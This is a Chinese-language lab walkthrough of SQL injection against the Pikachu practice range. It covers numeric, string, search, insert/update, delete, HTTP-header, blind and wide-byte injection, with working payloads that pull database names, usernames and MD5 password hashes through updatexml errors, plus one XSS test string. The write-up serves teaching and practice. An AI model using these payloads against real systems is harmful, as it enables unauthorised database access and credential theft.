SQL-Inject
SQL 注入
前端的数据传入到后台处理时,没有做严格的判断,导致其传入的“数据”拼接到SQL语句中后,被当作SQL语句的一部分执行。
MySQL 通用查库、查表、查列
我们直接使用 MySQL 命令行进行操作。
使用库
我们平时在进行 SQL 注入时,后端代码已经自己使用库了。但是,我们在使用 MySQL 命令行工具时,是需要通过命令来使用库的。
1 | use pikachu |
我们就可以查看当前库了
1 | mysql> select database(); |
查库
1 | select schema_name from information_schema.schemata; |
我们呢发现命令行输出了这两个数据库。原理是使用 select 读取了 information_schema 数据库中的 schemata 表中的 schema_name 列。
1 | +--------------------+ |
查表
很明显,我们需要的数据在
1 | select table_name from information_schema.tables where table_schema='pikachu'; |
看来还是有很多表的,不过我们用到的表是 users 表。
1 | +------------+ |
查列
1 | select column_name from information_schema.columns where table_name='users'; |
发现有 id, username, password, level 这四列。
1 | +-------------+ |
有了这些名称之后我们就可以查看数据了(也叫做字段)。
查字段
比如我们呢最长用到的账号和密码(username 和 password)
1 | select username, password from pikachu.users; |
可以发现有这三个账户的密码,而且这些密码是经过 MD5 加密之后的,并且这些 MD5 默认长度为 32 字符。
1 | +----------+----------------------------------+ |
数字型注入(post)
使用 HackBar,先随便在点几下选项,然后去 Load,在 id=1 后面加上 or 1=1
1 | id=1 or 1=1 &submit=%E6%9F%A5%E8%AF%A2 |
全部都输出出来了。
源码分析
1 | $query="select username,email from member where id=$id"; |
这里明显没有做啥过滤,可直接利用注入。
字符型注入(get)
我们输入一个 vince,得到一个 url
1 | http://192.168.17.129:8000/vul/sqli/sqli_str.php?name=vince&submit=%E6%9F%A5%E8%AF%A2# |
先在 vince 后面加一个 or 1=1 看看。
发现没用。看看是被单引号还是被双引号单独括起来了。
双引号时被当作普通字符,单引号是就报错了。所以单引号就能绕过。
构造
1 | ?name=vince' or '1'='1&submit=%E6%9F%A5%E8%AF%A2# |
源码分析
1 | $query="select id,email from member where username='$name'"; |
可以看到,单独用单引号括起来了,在 SQL 语句中是字符串的意思,就直接将$name 整个当作字符串。又因为$query 是字符串,后面有没有过滤,我们自然而然直接用单引号进行绕过。
搜索型注入
这里也是 GET 请求,也是单引号会报错。用上面的构造方法,发现搜索又正常了。因为是搜索,并且刚才的报错有一个%(SQL 语句文本匹配,可以匹配零个或多个字符)
我们刚才输入的是 v’所以为 like ‘%v%’’
1 | " ... username like '%$name%'" |
我们可以尝试一下构造成,就可以匹配任何字符
1 | " ... username like '%' or '$name%' |
就为这个
1 | ' or ' |
ok 成功!
分析源码
1 | $query="select username,id,email from member where username like '%$name%'"; |
发现和我们认为的构造方法是一样的。
xx 型注入
发现还是 GET 请求,单引号报错,双引号不报错,但是报错错不一样,重新考虑对策。输入 vince’
报错为: ‘’vince’’)’
说明被单引号包裹(),又有括号存在。(括号可以表示集合)
1 | " ... username = ('$name')" |
于是我们可以进行构造
1 | username = ('') or ('1'='1') |
输入
1 | ') or ('1'='1 |
ok,完成
源码分析
1 | $query="select id,email from member where username=('$name')"; |
“insert/update”注入
开始就是注册,用 HackBar 插件,发现是 POST 请求
1 | username=admin&password=123456&sex=boy&phonenum=110&email=addr&add=addr&submit=submit |
登录为 GET 请求,我们可以输错时可以明显发现
1 | ?username=aaa&password=aaa&submit=Login |
从注册中入手
这里并没有输出回显,我们看看报错会不会回显。
输入下面的,通过 HackBar 进行运行(发现浏览器 POST 请求发送要按下两次,还以为输错了)
1 | username=admin'&password=123456&sex=boy&phonenum=110&email=addr&add=addr&submit=submit |
看到有报错,我们就可以使用常用的报错注入方法了。
1 | username=admin' and updatexml(1, version(), 1) or '&password=123456&sex=boy&phonenum=110&email=addr&add=addr&submit=submit |
报错信息
1 | XPATH syntax error: '.26-0ubuntu0.18.04.1-log' |
前面被遮挡了,用波浪号标记一下
1 | username=admin' and updatexml(1, concat(0x7e, version()), 1) or '&password=123456&sex=boy&phonenum=110&email=addr&add=addr&submit=submit |
报错信息
1 | XPATH syntax error: '~5.7.26-0ubuntu0.18.04.1-log' |
把我们的 version 换成 database 就可以看到 php 调用的 mysql 是那个数据库了。这里的 updatexml 第一个和第三个参数应该随便填。
1 | username=admin' and updatexml(1, concat(0x7e, database()), 1) or '&password=123456&sex=boy&phonenum=110&email=addr&add=addr&submit=submit |
报错信息,我们调用的数据库名为 pikachu
1 | XPATH syntax error: '~pikachu' |
我们就不深入获取服务器的权限了,我们试试能不能获取所有用户的用户名即可。可以参考 “http header”注入。
“delete”注入
我们随便输入一个文本,比如我输的是 50,然后点击 submit,就会发现一个删除超链接,发现是一个 GET 请求,用于删除文本来用的,我们就可以加一个单引号试试报不报错。
1 | http://192.168.17.129:8000/vul/sqli/sqli_del.php?id=61 |
1 | http://192.168.17.129:8000/vul/sqli/sqli_del.php?id=61' |
发现报错,我们就可以使用报错注入的方法进行 SQL 注入了。更多参考 http header 注入这一节。
1 | 61 or updatexml(1,concat(0x7e,(select database())),1) |
“http header”注入
我们输入密码后,可以看到,页面自动的获取了我们的 UA(User Agent)
我们就可以尝试修改 UA 达到一些目的。通过 BrupSuite 抓包。
我们将其改成,发现可以回显,我们就发现一个** XSS 漏洞**。
1 | User-Agent: <script>alert("hello");</script> |
不过我们这里的是 SQL 注入的靶场,需要寻找 SQL 漏洞。
我们直接输入 1’(注意有一个单引号),发现有报错,我们就可以使用到我们报错注入方法了。
1 | You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8','34338')' at line 1 |
查看数据库名
1 | ' or updatexml(1,concat(0x7e,(select database())),1) or ' |
‘ or 和 or ‘ 用于前后 sql 语句闭合,输出为~pikachu
通过 MySQL 通用的方法对数据库名,表名,和用户密码的获取方式。下面是最后的 SQL 语句成品,我们也可以将 username 替换成 password,显示出来的可能是 MD5 编码过后的。
1 | ' or updatexml(1, concat(0x7e, (select group_concat(username) from users)), 1) or ' |
当然,刚才说的 username 替换成 password 也不是直接替换的,我们发现直接替换之后只会输出一个 MD5,可有可能一个也没输出完整,这是因为UPDATEXML函数最多输出32个字节,因此在提取较长的数据时可能需要使用substring函数进行分割。(在 PHP 中 MD5 默认是 32 字符的,又因为我们使用 UPDATAXML 头一个用的是 0x7e(也就是~)进行标注,导致还少了一个字符)。
注意我们还需要使用 limit 第一个参数, 第二个参数(第一个参数是第几行,第二个行数是多少条)
第一次
1 | ' or updatexml(1, concat(0x7e, substring((select password from users limit 0, 1), 1, 32)), 1) or ' |
第二次
1 | ' or updatexml(1, concat(0x7e, substring((select password from users limit 0, 1), 32, 1)), 1) or ' |
所以第一个密码为(MD5 编码后的)
1 | e10adc3949ba59abbe56e057f20f883e |
其余两个密码,如下(只展示前 31 位)
1 | ' or updatexml(1, concat(0x7e, substring((select password from users limit 1, 1), 1, 32)), 1) or ' |
1 | ' or updatexml(1, concat(0x7e, substring((select password from users limit 2, 1), 1, 32)), 1) or ' |
源码分析
用到了$_SERVER 获取了各种参数,然后存到 httpinfo 表中。后面的直接输出,就会出现报错回显和 XSS 漏洞。
1 | //直接获取前端过来的头信息,没人任何处理,留下安全隐患 |
1 | <div id="http_main"> |
盲注(base on boolian)
这个是基于布尔的盲注,也就是 True 和 False。
可以发现,只要是正确的就有返回,错误的就没有返回,就可以利用这一点进行盲注,下面的代码是我们构造的 payload,发现数据库名的长度为 7 位。
1 | kobe' and length(database())=7 --+ |
同理,我们可以看第一个用户名(admin)的长度为 5。
**注意一个坑:**select 出来的需要先加一个括号,length 的括号是函数本身的,所以我的 payload 中的 length 就有了两个括号包含。
1 | kobe' and length((select username from users limit 0, 1))=5 --+ |
爆破用户名
使用到了函数 substr,有三个参数,分别是字符串,第几个,截取多少字符
1 | kobe' and substr((select username from users limit 0, 1), 1, 1)='a' --+ |
在这里我们可以使用 burpsuite 或者自己写脚本来进行爆破。
这种爆破速度非常快,如果 26 字母组成的,最多需要 26*length 步就可以进行爆破出用户名,只需要修改 substr 第二个参数即可。
盲注(base on time)
这个是基于时间的盲注。可以通过时间差来知道正确还是错误(对应着布尔盲注的 True 和 False),从而进行盲注,不做多赘述。总的来说,盲注最好使用工具,自己写脚本。
宽字节注入
在 Burpsuite 进行拦截修改 POST 请求内容即可。
1 | lili%df' or 1=1 --+ |
代码审计
重要代码部分
1 | $name = escape($link,$_POST['name']); |
可以看到,对 POST 请求 name 字段中的内容进行了转义。一般是以下的内容进行转义,可以看到,如果我们用反斜杆进行绕过,最后还是会被转义为三个反斜杠(///)。
1 | NUL (ASCII 0), \n, \r, \, ', ", and Control-Z. |
下面的设置是将其编码格式改为 GBK,二字节编码的。看我们前面,我们就用了%df 进行绕过(其实感觉很多一字节的 URL 编码都可以,不过我看别人用%df 很多,可能就是一个正经的汉字吧)。所以说在 php 函数 escape 进行处理的时候,’的出现就会有一个转义一个反斜杠,不过在 php 的 mysqli 当中,因为设置了 gbk 编码,导致宽字节(有需要的两字符当一个,在这里导致%df 和反斜杠进行合并为一个宽字节),我们就成功的进行绕过。









